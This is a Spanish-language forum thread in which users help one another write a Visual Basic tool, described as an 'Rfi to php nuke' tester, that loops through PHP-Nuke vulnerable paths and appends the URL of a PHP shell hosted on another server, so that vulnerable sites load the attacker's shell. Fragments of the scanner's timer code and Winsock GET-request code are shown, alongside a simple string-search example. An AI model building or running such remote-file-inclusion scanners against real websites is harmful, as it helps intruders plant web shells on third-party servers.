Mensajes

Podrias postar el codigo de fuente?

Hola! Bueno fue buena discucion lo del chat  , lammers hay en todos lados, que sea mas facil moderarlo de un foro no quita que un chat sea peor, se podria de hacer el chat, pero al entrar que te haga una pregunta basica o algo, para poder loguearte seria un buen filtro creo. algo como conceptos basicos, ayudarian a inclementarse mas en el tema y no habria tanta gente idiota 

U exelente muchisimas gracias MR.Chispa  , Pero como hago esa funcion para que me busque en la primera linea dl text box? Muchisimas Gracias

Es sencillo, esto es un ejemplo:
imagina que quieres encontrar si la cadena "aa" se encuentra en text1:
dim cadena as string, x as integer
cadena = "aa"
For x=1 to len(text1)-len(cadena)+1
   if mid(text1,x,len(cadena)) = cadena then stop 'existe cadena
next x

Me peudes explciar que hace cada linea? gracias
Mi progra es una conexion con winsock y me duevuelve siempre un numeor de 3 digitos los codigos de error http, ahora quiero hacer en el evento change que se fije que numeor llego, para realziar tal accion.
Gracias po responder

Como hago para encontrar una cadena dentro de un text box?, quiero qeu me busque una palabra especifica como podria hacer eso? Gracias 

Gracias yeikos pero lo voy hacer como dice madantrax, no se mucho de winsock pero gracias que existe el internet y voy a prender, despues publico el code,  Mad Antrax

uf, usando el control de explorador de internet es distinto. Con Winsock te funcionaría mejor, ademas puedes evaluar la respuesta del servidor através del codigo de 3 digitos que devuelve el protocolo HTTP.

Pero si no sabes usarlo entonces no te compliques la vida. La mejor solución sería con winsock, pero si no puedes o no sabes usarlo entonces no se que otro método te queda.

Yo por mi parte he creado este mismo proyecto tuyo pero con otros datos y para otros fines, si tengo tiempo comento el código y lo hago público. Saludos !!!

Robando la idea y no explicas como se hace.. gracias igual

Lo que tienes que hacer es jugar con los eventos de MSWinsock. En el evento OnConnect pones algo así:

Código [Seleccionar] Expandir


    Winsock1(Index).SendData "GET /index.php HTTP/1.1" & vbCrLf
    Winsock1(Index).SendData "Host: www.google.com" & vbCrLf
    Winsock1(Index).SendData "From: 0.0.0.0" & vbCrLf
    Winsock1(Index).SendData "User-Agent: Pruebas/1.0" & vbCrLf & vbCrLf


Solo tienes que ir variando la petición GET por un valor del array, primero empiezas por el 1, cuando el servidor responda miras los datos en DataArrival, si es positivo mandas un mensaje y llamas a la funcion ws.senddata (la de arriba) con un valor incrementado del array, asi hasta el valor 17.

No necesitas ni timers ni bucles

Mad no te entendido muy bien, osea no se coo hacerlo con winsock, yo suaba el control de internet pàra hacer peticones get desde el navegador mismo, ya que tengo una shell en otro server y lo que hago es sumarle el host, el directorio y el archivo donde se encuentra el bug y la shell. Gracias pro contestar

Lo hago con un web form asi,

Código [Seleccionar] Expandir


Private Sub Timer1_Timer()

If i < 53 Then
i = i + 1
Else
MsgBox "Ya termino el test, si vistes una shell en php, es porque es vulnerable", vbInformation + vbOKOnly, "Rfi to php nuke"
Timer1.Enabled = False
i = 0

End If

Wb.Navigate (txtUrl.Text & VarBug(i) & txtshell.Text)
barra.Value = i


End Sub

Osea el usuario va tener que ver un pantallaso de una shell, no se como buscar una paabra dentro del webbrowser osea dentro del documento.. alguien me peude ayudar???

Es en un webform, no nfuncioan con el sleep, nvoy a intentar ingeniarme para sumarle un valor mas dentro de un tiemer, salu2